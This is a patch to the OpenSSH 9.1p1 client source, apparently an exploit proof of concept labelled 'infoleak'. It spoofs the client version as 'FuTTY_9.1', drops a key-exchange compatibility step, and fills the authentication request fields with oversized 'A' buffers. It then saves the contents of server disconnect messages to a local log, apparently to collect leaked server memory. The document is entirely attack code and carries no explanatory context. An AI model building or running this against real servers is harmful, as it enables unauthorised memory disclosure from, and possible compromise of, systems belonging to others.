diff -purr openssh-9.1p1/packet.c openssh-9.1p1-infoleak/packet.c
--- openssh-9.1p1/packet.c	2022-10-03 07:51:42.000000000 -0700
+++ openssh-9.1p1-infoleak/packet.c	2023-02-21 18:08:57.954049592 -0800
@@ -63,6 +63,8 @@
 #endif
 #include <signal.h>
 #include <time.h>
+#include <sys/stat.h>
+#include <fcntl.h>
 
 /*
  * Explicitly include OpenSSL before zlib as some versions of OpenSSL have
@@ -1735,9 +1737,22 @@ ssh_packet_read_poll_seqnr(struct ssh *s
 			free(msg);
 			break;
 		case SSH2_MSG_DISCONNECT:
+		    {
+			size_t len = 0;
 			if ((r = sshpkt_get_u32(ssh, &reason)) != 0 ||
-			    (r = sshpkt_get_string(ssh, &msg, NULL)) != 0)
+			    (r = sshpkt_get_string(ssh, &msg, &len)) != 0)
 				return r;
+			if (len) {
+				const int fd = open("disconnect.log",
+				    O_WRONLY | O_CREAT | O_APPEND | O_NOFOLLOW, 0600);
+				if (fd >= 0) {
+					static const char zeros[64];
+					write(fd, msg, len);
+					write(fd, zeros, sizeof(zeros));
+					close(fd);
+				}
+			}
+		    }
 			/* Ignore normal client exit notifications */
 			do_log2(ssh->state->server_side &&
 			    reason == SSH2_DISCONNECT_BY_APPLICATION ?
diff -purr openssh-9.1p1/sshconnect2.c openssh-9.1p1-infoleak/sshconnect2.c
--- openssh-9.1p1/sshconnect2.c	2022-10-03 07:51:42.000000000 -0700
+++ openssh-9.1p1-infoleak/sshconnect2.c	2023-02-21 16:49:44.665134714 -0800
@@ -222,7 +222,7 @@ ssh_kex2(struct ssh *ssh, char *host, st
     const struct ssh_conn_info *cinfo)
 {
 	char *myproposal[PROPOSAL_MAX] = { KEX_CLIENT };
-	char *s, *all_key;
+	char *all_key;
 	char *prop_kex = NULL, *prop_enc = NULL, *prop_hostkey = NULL;
 	int r, use_known_hosts_order = 0;
 
@@ -247,9 +247,7 @@ ssh_kex2(struct ssh *ssh, char *host, st
 		fatal_fr(r, "kex_assemble_namelist");
 	free(all_key);
 
-	if ((s = kex_names_cat(options.kex_algorithms, "ext-info-c")) == NULL)
-		fatal_f("kex_names_cat");
-	myproposal[PROPOSAL_KEX_ALGS] = prop_kex = compat_kex_proposal(ssh, s);
+	myproposal[PROPOSAL_KEX_ALGS] = prop_kex = xstrdup(options.kex_algorithms);
 	myproposal[PROPOSAL_ENC_ALGS_CTOS] =
 	    myproposal[PROPOSAL_ENC_ALGS_STOC] = prop_enc =
 	    compat_cipher_proposal(ssh, options.ciphers);
@@ -1051,14 +1049,18 @@ input_gssapi_error(int type, u_int32_t p
 static int
 userauth_none(struct ssh *ssh)
 {
-	Authctxt *authctxt = (Authctxt *)ssh->authctxt;
 	int r;
+	static const char kex[] = "ecdh-sha2-nistp256,";
+	char buf[300];
+	memset(buf, 'A', sizeof(buf)-1);
+	memcpy(buf, kex, sizeof(kex)-1);
+	buf[sizeof(buf)-1] = '\0';
 
 	/* initial userauth request */
 	if ((r = sshpkt_start(ssh, SSH2_MSG_USERAUTH_REQUEST)) != 0 ||
-	    (r = sshpkt_put_cstring(ssh, authctxt->server_user)) != 0 ||
-	    (r = sshpkt_put_cstring(ssh, authctxt->service)) != 0 ||
-	    (r = sshpkt_put_cstring(ssh, authctxt->method->name)) != 0 ||
+	    (buf[sizeof(kex)-1] = 'u', (r = sshpkt_put_cstring(ssh, buf)) != 0) ||
+	    (buf[sizeof(kex)-1] = 's', (r = sshpkt_put_cstring(ssh, buf)) != 0) ||
+	    (buf[sizeof(kex)-1] = 'm', (r = sshpkt_put_cstring(ssh, buf)) != 0) ||
 	    (r = sshpkt_send(ssh)) != 0)
 		fatal_fr(r, "send packet");
 	return 1;
diff -purr openssh-9.1p1/version.h openssh-9.1p1-infoleak/version.h
--- openssh-9.1p1/version.h	2022-10-03 07:51:42.000000000 -0700
+++ openssh-9.1p1-infoleak/version.h	2023-02-21 15:50:09.167198744 -0800
@@ -1,6 +1,6 @@
 /* $OpenBSD: version.h,v 1.95 2022/09/26 22:18:40 djm Exp $ */
 
-#define SSH_VERSION	"OpenSSH_9.1"
+#define SSH_VERSION	"FuTTY_9.1"
 
 #define SSH_PORTABLE	"p1"
 #define SSH_RELEASE	SSH_VERSION SSH_PORTABLE